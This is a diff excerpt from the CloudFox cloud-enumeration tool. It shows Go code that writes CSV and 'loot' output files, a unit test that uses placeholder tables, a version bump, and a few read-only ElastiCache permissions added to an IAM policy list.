csvDirectory := path.Join(b.DirectoryName, "csv")
|
||||
|
||||
if _, err := fileSystem.Stat(csvDirectory); os.IsNotExist(err) {
|
||||
err = fileSystem.MkdirAll(csvDirectory, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if file.Name == "" {
|
||||
log.Fatalf("error creating csv file: no file name was specified")
|
||||
}
|
||||
|
||||
fileNameWithExt := fmt.Sprintf("%s.csv", file.Name)
|
||||
|
||||
filePointer, err := fileSystem.OpenFile(path.Join(csvDirectory, fileNameWithExt), os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
log.Fatalf("error creating csv file: %s", err)
|
||||
}
|
||||
|
||||
b.TableFiles[i].CSVFilePointer = filePointer
|
||||
}
|
||||
}
|
||||
|
||||
func (b *TableClient) writeCSVFiles() []string {
|
||||
var fullFilePaths []string
|
||||
|
||||
for _, file := range b.TableFiles {
|
||||
csvWriter := csv.NewWriter(file.CSVFilePointer)
|
||||
csvWriter.Write(file.Header)
|
||||
for _, row := range file.Body {
|
||||
csvWriter.Write(row)
|
||||
}
|
||||
csvWriter.Flush()
|
||||
|
||||
fullPath := path.Join(b.DirectoryName, "csv", fmt.Sprintf("%s.csv", file.Name))
|
||||
fullFilePaths = append(fullFilePaths, fullPath)
|
||||
}
|
||||
|
||||
return fullFilePaths
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package internal
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
)
|
||||
|
||||
func TestOutput2(t *testing.T) {
|
||||
|
||||
tables := []TableFile{
|
||||
{
|
||||
Name: "TableFile1",
|
||||
Header: []string{"Service", "Status"},
|
||||
Body: [][]string{
|
||||
{"IAM", "Active"},
|
||||
{"EC2", "Not Active"},
|
||||
{"Lambda", "Active"},
|
||||
{"S3", "Not Active"},
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "TableFile2",
|
||||
Header: []string{"Resource", "Condition"},
|
||||
Body: [][]string{
|
||||
{"ACR", "Good"},
|
||||
{"AKS", "Bad"},
|
||||
{"Storage Account", "Bad"},
|
||||
{"Databricks", "Good"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
lootFiles := []LootFile{
|
||||
{
|
||||
Name: "loot1",
|
||||
Contents: "This is a loot file\nline1\nline2\n",
|
||||
},
|
||||
{
|
||||
Name: "loot2",
|
||||
Contents: "This is a loot file\nline1\nline2\nline3\nline4\n",
|
||||
},
|
||||
{
|
||||
Name: "loot3",
|
||||
Contents: "This is a loot file\nline1\nline2\nline3\n",
|
||||
},
|
||||
}
|
||||
|
||||
o := OutputClient{
|
||||
Verbosity: 3,
|
||||
CallingModule: "testModule",
|
||||
PrefixIdentifier: "DEV",
|
||||
Table: TableClient{
|
||||
Wrap: false,
|
||||
DirectoryName: filepath.Join(globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE),
|
||||
},
|
||||
Loot: LootClient{
|
||||
DirectoryName: filepath.Join(globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, globals.LOOT_DIRECTORY_NAME),
|
||||
LootFiles: nil,
|
||||
},
|
||||
}
|
||||
|
||||
MockFileSystem(false)
|
||||
fmt.Printf("Verbose level: %d\n", o.Verbosity)
|
||||
o.WriteFullOutput(tables, lootFiles)
|
||||
}
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
var (
|
||||
rootCmd = &cobra.Command{
|
||||
Use: os.Args[0],
|
||||
Version: "1.9.0",
|
||||
Version: "1.10.1",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -26,6 +26,9 @@
|
||||
"eks:DescribeNodegroup",
|
||||
"eks:ListClusters",
|
||||
"eks:ListNodegroups",
|
||||
"elasticache:DescribeCacheClusters",
|
||||
"elasticache:DescribeCacheSubnetGroups",
|
||||
"elasticache:DescribeReplicationGroups",
|
||||
"elasticfilesystem:DescribeFileSystemPolicy",
|
||||
"elasticfilesystem:DescribeFileSystems",
|
||||
"elasticfilesystem:DescribeMountTargets",
|
||||
|
||||
Reference in new issue
Block a user